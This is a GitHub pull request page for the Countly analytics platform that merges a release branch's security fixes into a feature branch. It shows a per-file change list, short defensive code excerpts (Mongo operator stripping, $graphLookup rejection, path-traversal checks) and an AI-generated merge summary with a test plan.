plugins/plugins/frontend/public/stylesheets/main.scss |
Adds config warning tag styles. |
plugins/plugins/frontend/public/localization/plugins.properties |
Adds tracking/config warning localization and removes old self-tracking labels. |
plugins/plugins/frontend/public/javascripts/countly.views.js |
Adds tracking config section and warning tag helpers. |
plugins/pluginManager.js |
Refactors Mongo URL maxPoolSize parsing. |
plugins/logger/api/api.js |
Strips unsafe Mongo operators from log filters. |
plugins/errorlogs/api/api.js |
Contains log file paths under the log directory. |
plugins/dbviewer/api/api.js |
Adds $graphLookup rejection to aggregation requests. |
plugins/data_migration/tests/index.js |
Adds traversal regression test and updates import fixture flow. |
plugins/data_migration/frontend/app.js |
Validates export/log download filenames. |
plugins/data_migration/api/data_migration_helper.js |
Hardens import/export cleanup path handling. |
plugins/data_migration/api/api.js |
Hardens existing import/delete paths and filenames. |
plugins/dashboards/frontend/public/templates/widgets/note/widget.html |
Refactors note widget markup and mouse handling. |
plugins/dashboards/frontend/public/templates/helpers/widget/title.html |
Refactors widget title markup and mouse handling. |
plugins/dashboards/frontend/public/templates/helpers/widget/secondary-legend.html |
Refactors secondary legend markup and escaping. |
plugins/dashboards/frontend/public/templates/helpers/widget/primary-legend.html |
Refactors primary legend markup and escaping. |
plugins/dashboards/frontend/public/templates/dashboards-drawer.html |
Adds custom dashboard refresh rate UI. |
plugins/dashboards/frontend/public/localization/dashboards.properties |
Adds refresh rate localization. |
plugins/dashboards/frontend/public/javascripts/countly.models.js |
Sends refresh rate fields for dashboard create/update. |
plugins/dashboards/frontend/app.js |
Hardens dashboard screenshot image serving. |
plugins/dashboards/api/parts/dashboards.js |
Adds dashboard widget refresh helper. |
plugins/dashboards/api/jobs/refreshDashboards.js |
Adds scheduled dashboard refresh job. |
plugins/crashes/frontend/public/javascripts/countly.models.js |
Unescapes crash logs in crash group data. |
plugins/crashes/api/api.js |
Improves binary dump stream error handling. |
plugins/compliance-hub/api/api.js |
Adds indexes and app-scoped consent query/delete behavior. |
plugins/alerts/frontend/public/stylesheets/vue-main.scss |
Adds alert interval error styling. |
plugins/alerts/frontend/public/javascripts/countly.views.js |
Adds interval validation and email option filtering logic. |
plugins/alerts/frontend/public/javascripts/countly.models.js |
Adjusts segment key handling and creator display. |
plugins/alerts/api/parts/common-lib.js |
Adds app timezone offset loading helper. |
plugins/alerts/api/jobs/monitor.js |
Refactors monitor job to load alert/app before module checks. |
plugins/alerts/api/alertModules/views.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/users.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/survey.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/sessions.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/revenue.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/rating.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/nps.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/events.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/dataPoints.js |
Updates datapoint alert module for per-app job execution. |
plugins/alerts/api/alertModules/crashes.js |
Updates alert module signature/logging. |
plugins/alerts/api/alertModules/cohorts.js |
Updates alert module signature/logging. |
package.json |
Adds dependencies and postinstall SDK copy step. |
frontend/express/public/stylesheets/vue/clyvue.scss |
Refactors status tag and drawer styles. |
frontend/express/public/javascripts/countly/vue/templates/drawer.html |
Refactors drawer header layout. |
frontend/express/public/javascripts/countly/vue/core.js |
Passes toast props through notification component. |
frontend/express/public/javascripts/countly/vue/components/vis.js |
Adds escaping/test ids for chart legends. |
frontend/express/public/javascripts/countly/vue/components/helpers.js |
Updates status tag and notification components. |
frontend/express/public/javascripts/countly/vue/components/dropdown.js |
Safely closes dropdown ref. |
frontend/express/public/javascripts/countly/vue/components/drawer.js |
Adds note about screen mode variable. |
frontend/express/public/javascripts/countly/vue/components/datatable.js |
Adds configurable default page size. |
frontend/express/public/javascripts/countly/countly.helpers.js |
Adds HTML notification option and external HTTPS navigation. |
frontend/express/public/javascripts/countly/countly.event.js |
Deduplicates concurrent event refresh requests. |
frontend/express/public/core/user-management/javascripts/countly.views.js |
Patches user permission structure before opening drawer. |
frontend/express/public/core/onboarding/javascripts/countly.views.js |
Removes tracking consent flow and updates newsletter prompt handling. |
frontend/express/public/core/home/javascripts/countly.views.js |
Updates screenshot download notification HTML. |
frontend/express/public/core/home/javascripts/countly.models.js |
Moves screenshot render request to authenticated POST endpoint. |
frontend/express/libs/express-expose.js |
Hardens JS exposure escaping. |
bin/scripts/fix-data/delete_widgets_of_deleted_dashboards.js |
Adds orphan dashboard widget/long-task cleanup script. |
api/utils/taskmanager.js |
Adds task authorization helpers and rerun query filtering. |
api/utils/render.js |
Uses per-render Chromium profile directory and cleanup. |
api/utils/common.js |
Adds Mongo operator/path helpers and reduces sensitive logging. |
api/parts/mgmt/users.js |
Hardens invite tokens, note app scoping, and note search regex. |
api/parts/mgmt/mail.js |
Adds SMTP logger wrapper. |
api/parts/mgmt/event_groups.js |
Whitelists event group create/update fields and scopes updates. |
api/parts/mgmt/apps.js |
Removes app create/update catch-all field copying. |
api/parts/mgmt/app_users.js |
Strips unsafe operators and hardens export/picture deletion. |
api/parts/jobs/job.js |
Changes duplicate scheduling logic for alert monitor jobs. |
api/parts/data/fetch.js |
Scopes event group reads and escapes job search regex. |
api/parts/data/exports.js |
Adds export stream error handlers. |
api/jobs/ping.js |
Reworks server tracking ping job. |
api/api.js |
Enables tracker setup and adds tracking config defaults. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Comment on lines
+308
to
+310
| if (typeof apps[appId] !== "undefined") { | ||
| apps[appId] += acc.daily[date]; | ||
| } |
Comment on lines
+52
to
+57
| const module = ALERT_MODULES[alert.alertDataType]; | ||
| await module.check({ alert, app, done, scheduledTo }); | ||
| } | ||
| catch (err) { | ||
| log.e(err); | ||
| } |
| hasNewsLetter && | ||
| ( | ||
| typeof countlyGlobal.member.subscribe_newsletter !== 'boolean' && | ||
| store.get('disable_newsletter_prompt') === false && |
| }); | ||
|
|
||
| var appList = [{value: "", label: jQuery.i18n.map["configs.frontend-self_tracking.none"]}]; | ||
| var appList = [{value: "", label: jQuery.i18n.map["configs.tracking-self_tracking.none"]}]; |
Comment on lines
+151
to
156
| common.stripUnsafeMongoOperators(query); | ||
| // Force scope to the request's app_id even though this lookup | ||
| // is in app_users<app_id>; defense-in-depth in case a future | ||
| // refactor changes the collection. | ||
| query.app_id = params.app_id.toString(); | ||
| common.db.collection("app_users" + params.qstring.app_id).findOne(query, function(err, res) { |
Comment on lines
+39
to
+43
| <h3 | ||
| class="cly-vue-drawer__title-header" | ||
| :data-test-id="testId + '-header-title'" | ||
| :style="hasBackLink.style" | ||
| > |
Comment on lines
+244
to
+249
| if (safeDataMigrationId(existingFileInput)) { | ||
| resolvedExistingFilePath = common.resolvePathInBase(importBasePath, existingFileInput + '.tar.gz'); | ||
| } | ||
| else if (existingFileInput.endsWith('.tar.gz') && common.sanitizeFilename(existingFileInput) === existingFileInput) { | ||
| resolvedExistingFilePath = common.resolvePathInBase(importBasePath, existingFileInput); | ||
| } |
Comment on lines
+343
to
+345
| for (var stageIdx = 0; stageIdx < aggregation.length; stageIdx++) { | ||
| if (aggregation[stageIdx] && Object.prototype.hasOwnProperty.call(aggregation[stageIdx], "$graphLookup")) { | ||
| common.returnMessage(params, 400, "Aggregation stage \"$graphLookup\" is not allowed"); |
Comment on lines
+430
to
+436
| filteredEmailOptions: function() { | ||
| if (!countlyGlobal.plugins.includes("groups")) { | ||
| return this.emailOptions.filter( | ||
| (option) => option.value !== "toGroup" | ||
| ); | ||
| } | ||
| return this.emailOptions; |
| args: ['--no-sandbox', '--disable-setuid-sandbox', '--ignore-certificate-errors'], | ||
| ignoreHTTPSErrors: true, | ||
| userDataDir: pathModule.resolve(__dirname, "../../dump/chrome") | ||
| userDataDir: pathModule.resolve(__dirname, "../../dump/chrome/" + Date.now()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
release.24.05intofeature/new-ui-dwto pull in recent security fixes (Fortify backports, $graphLookup hardening, etc.)countly_dataviewsDB wiring inplugins/pluginManager.jsandplugins/dbviewer/api/api.jsortstrategy — no manual conflict resolution needed; the customer hunks and security hunks sit in different parts of both filesChanges preserved on the feature side
plugins/pluginManager.js:countly_dataviewsconfig entry,dbs.push('countly_dataviews'),dbDataviewsdestructure,common.dataviewsDb = dbDataviewsplugins/dbviewer/api/api.js:countly_dataviewsexposed in/o/dbhandlerNotable upstream changes pulled in
$graphLookuprejection in dbviewer aggregations (plugins/dbviewer/api/api.js)plugins/pluginManager.js(legacyurl.parse→new URL())Test plan
countly_dataviewsDB still appears in/o/dbwhen configured$graphLookupnpm run test:unit🤖 Generated with Claude Code